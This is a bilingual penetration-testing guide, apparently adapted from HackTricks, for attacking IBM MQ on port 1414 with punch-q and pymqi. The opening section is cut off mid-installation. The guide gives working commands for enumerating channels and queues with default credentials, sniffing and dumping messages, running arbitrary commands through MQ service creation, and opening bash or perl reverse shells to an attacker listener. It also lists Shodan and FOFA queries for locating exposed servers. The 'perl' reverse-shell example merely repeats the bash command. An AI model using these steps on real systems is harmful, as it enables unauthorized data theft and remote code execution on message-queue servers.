--- title: "1414 - Ibm Mq" weight: 1414 date: "2026-03-10T10:03:28+08:00" lastmod: "2026-03-10T13:26:55+08:00" --- 💡 **学习提示**: 本文档介绍 **1414 - IBM MQ** 的渗透测试方法，适合信息安全初学者和从业人员参考。 ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。 --- > > ```bash > if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 > fi > ``` 5. Install these packages: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. Then, temporary add the `.so` files to LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **before** running other tools using these dependencies. Then, you can clone the project [**pymqi**](https://github.com/dsuch/pymqi): it contains interesting code snippets, constants, ... Or you can directly install the library with: `pip install pymqi`. #### Using punch-q #### With Docker Simply use: `sudo docker run --rm -ti leonjza/punch-q`. #### Without Docker Clone the project [**punch-q**](https://github.com/sensepost/punch-q) then follow the readme for installation (`pip install -r requirements.txt && python3 setup.py install`). After, it can be used with `punch-q` command. ### 信息收集 You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**. #### Queue Manager Sometimes, there is no protection against getting the Queue Manager name: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` #### Channels **punch-q** is using an internal (modifiable) wordlist to find existing channels. 用法 example: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` It happens that some IBM MQ instances accept **unauthenticated** MQ requests, so `--username / --password` is not needed. Of course, access rights can also vary. As soon as we get one channel name (here: `DEV.ADMIN.SVRCONN`), we can enumerate all other channels. The enumeration can basically be done with this code snippet `code/examples/dis_channels.py` from **pymqi**: ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... But **punch-q** also embed that part (with more infos!). It can be launch with: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` #### Queues There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** permits to retrieve more pieces of info about the queues: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | ## Truncated ``` ### 利用 #### Dump messages You can target queue(s)/channel(s) to sniff out / dump messages from them (non-destructive operation). _Examples:_ ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **Do not hesitate to iterate on all identified queues.** #### Code execution > Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programmable Command Formats_**) is what we are focused on to interact remotely with the instance. **punch-q** and furthermore **pymqi** are based on PCF interactions. > > You can find a list of PCF commands: > > - [From PCF documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), and > - [from constants](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). > > One interesting command is `MQCMD_CREATE_SERVICE` and its documentation is available [here](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). It takes as argument a `StartCommand` pointing to a local program on the instance (example: `/bin/sh`). > > There is also a warning of the command in the docs: _"Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files."_ > > _Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at `/admin/action/qmgr/{qmgrName}/mqsc` to run the equivalent MQSC command for service creation (`DEFINE SERVICE`). This aspect is not covered yet here._ The service creation / deletion with PCF for remote program execution can be done by **punch-q**: **示例 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > In the logs of IBM MQ, you can read the command is successfully executed: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` You can also enumerate existing programs on the machine (here `/bin/doesnotexist` ... does not exist): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **Be aware that the program launch is asynchronous. So you need a second item to leverage the exploit** **_(listener for reverse shell, file creation on different service, data exfiltration through network ...)_** **示例 2** For easy reverse shell, **punch-q** proposes also two reverse shell payloads : - One with bash - One with perl _Of course you can build a custom one with the `execute` command._ For bash: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` For perl: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` #### Custom PCF You can dig into the IBM MQ documentation and directly use **pymqi** python library to test specific PCF command not implemented in **punch-q**. **示例:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` If you cannot find the constant names, you can refer to the [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). > _Example for [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). It needs the parameter `MQCA_CLUSTER_NAME` (Decimal = 2029) which can be `_` (Doc: ):\* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Error") > else: > print(response) > > qmgr.disconnect() > ``` ### Testing environment If you want to test the IBM MQ behavior and exploits, you can set up a local environment based on Docker: 1. Having an account on ibm.com and cloud.ibm.com. 2. Create a containerized IBM MQ with: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` By default, the authentication is enabled, the username is `admin` and the password is `passw0rd` (Environment variable `MQ_ADMIN_PASSWORD`). Here, the queue manager name has been set to `MYQUEUEMGR` (variable `MQ_QMGR_NAME`). You should have the IBM MQ up and running with its ports exposed: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > The old version of IBM MQ docker images are at: https://hub.docker.com/r/ibmcom/mq/. --- ### 搜索引擎语法 #### FOFA ```bash # FOFA 搜索语法 port="1414" ``` #### Shodan ```bash # Shodan 搜索语法 port:1414 ``` #### ZoomEye ```bash # ZoomEye 搜索语法 port:1414 ``` --- ## 📖 参考资料 - [HackTricks - 1414-ibm-mq](https://book.hacktricks.wiki/en/network-services-pentesting/1414-ibm-mq.html)